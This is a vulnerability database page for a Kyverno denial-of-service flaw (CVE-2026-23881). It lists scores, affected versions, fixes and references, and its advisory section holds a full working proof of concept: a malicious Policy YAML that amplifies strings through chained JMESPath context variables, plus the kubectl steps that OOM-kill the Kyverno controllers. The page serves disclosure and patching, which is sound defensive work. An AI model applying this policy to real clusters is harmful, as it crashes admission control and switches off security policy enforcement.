7.7high
Kyverno Denial of Service via Context Variable Amplification in Policy Engine
- Severity
- 7.7high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.62% (higher than 50% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-r2rj-wwm5-x6mqBIT-KYVERNO-2026-23881GO-2026-4382
Description
Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| kyverno kyverno | < 1.15.3, >= 1.16.0, < 1.16.3, before 1.15.3, from 1.16.0 before 1.16.3 | CVE List, NVD |
| github.com/kyverno/kyverno (Go) | before 1.15.3, from 1.16.0-rc.1 before 1.16.3 | GitHub Advisory Database, Go Vulnerability Database |
| kyverno (Bitnami) | before 1.15.3, from 1.16.0 before 1.16.3 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 7.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H |
| GitHub | 7.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H |
| NVD | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.
GitHub Advisory Database
Summary
Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.
Details
For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:
The PoC attack uses exponential doubling:
l0=random('[a-zA-Z0-9]{1000}')→ 1KBl1=join('', [l0, l0])→ 2KBl2=join('', [l1, l1])→ 4KB- ... continues to
l18→ 256MB
The context evaluation has no cumulative size limit, allowing unbounded memory allocation.
PoC
Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).
- Create namespace:
kubectl create namespace poc-test
- Observe pod statuses from
kyvernonamespace on another terminal:
kubectl get pods -n kyverno -w
- Apply malicious policy:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: memory-exhaustion-poc
namespace: poc-test
spec:
validationFailureAction: Enforce
rules:
- name: exhaust-memory
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: l0
variable:
jmesPath: random('[a-zA-Z0-9]{1000}')
- name: l1
variable:
jmesPath: join('', [l0, l0])
- name: l2
variable:
jmesPath: join('', [l1, l1])
- name: l3
variable:
jmesPath: join('', [l2, l2])
- name: l4
variable:
jmesPath: join('', [l3, l3])
- name: l5
variable:
jmesPath: join('', [l4, l4])
- name: l6
variable:
jmesPath: join('', [l5, l5])
- name: l7
variable:
jmesPath: join('', [l6, l6])
- name: l8
variable:
jmesPath: join('', [l7, l7])
- name: l9
variable:
jmesPath: join('', [l8, l8])
- name: l10
variable:
jmesPath: join('', [l9, l9])
- name: l11
variable:
jmesPath: join('', [l10, l10])
- name: l12
variable:
jmesPath: join('', [l11, l11])
- name: l13
variable:
jmesPath: join('', [l12, l12])
- name: l14
variable:
jmesPath: join('', [l13, l13])
- name: l15
variable:
jmesPath: join('', [l14, l14])
- name: l16
variable:
jmesPath: join('', [l15, l15])
- name: l17
variable:
jmesPath: join('', [l16, l16])
- name: l18
variable:
jmesPath: join('', [l17, l17])
validate:
message: "Memory exhaustion PoC"
deny:
conditions:
any:
- key: "{{ l18 }}"
operator: Equals
value: "impossible-match"
As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.
- Trigger policy evaluation on the admission controller:
kubectl create configmap trigger -n poc-test --from-literal=key=value
Response:
error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF
The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.
- Check pod status from the
kyvernonamespace:
kubectl get pods -n kyverno
Outputs:
kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m
kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m
While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.
Impact
Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:
- Pod OOMKill and service disruption
- No logs on why the crash occurred (admission controller, reports controller)
- Cluster-wide policy enforcement disabled and security policies stop being evaluated
- If
failurePolicy: Ignoreis configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations
Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.
Mitigation
Add a context size limit to prevent unbounded memory allocation during policy evaluation.
Go Vulnerability Database
Kyverno Denial of Service via Context Variable Amplification in Policy Engine in github.com/kyverno/kyverno
NVD (es)
Kyverno es un motor de políticas diseñado para equipos de ingeniería de plataformas nativas de la nube. Las versiones anteriores a la 1.16.3 y 1.15.3 tienen un consumo de memoria ilimitado en el motor de políticas de Kyverno que permite a los usuarios con privilegios de creación de políticas causar una denegación de servicio mediante la elaboración de políticas que amplifican exponencialmente los datos de cadena a través de variables de contexto. Las versiones 1.16.3 y 1.15.3 contienen un parche para la vulnerabilidad.
References
| https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq | advisory, exploit, mitigation, vendor-advisory, web | |
| https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f | fix, patch, web | |
| https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7 | fix, patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23881 | advisory, web | |
| https://github.com/kyverno/kyverno | package | |
Related
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-23881 changed 2026-01-27 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-r2rj-wwm5-x6mq changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4382 changed 2026-02-04 | CC-BY-4.0 |
| NVD | CVE-2026-23881 changed 2026-06-17 | Public domain |
| Bitnami Vulnerability Database | BIT-KYVERNO-2026-23881 changed 2026-09-10 | Apache-2.0 |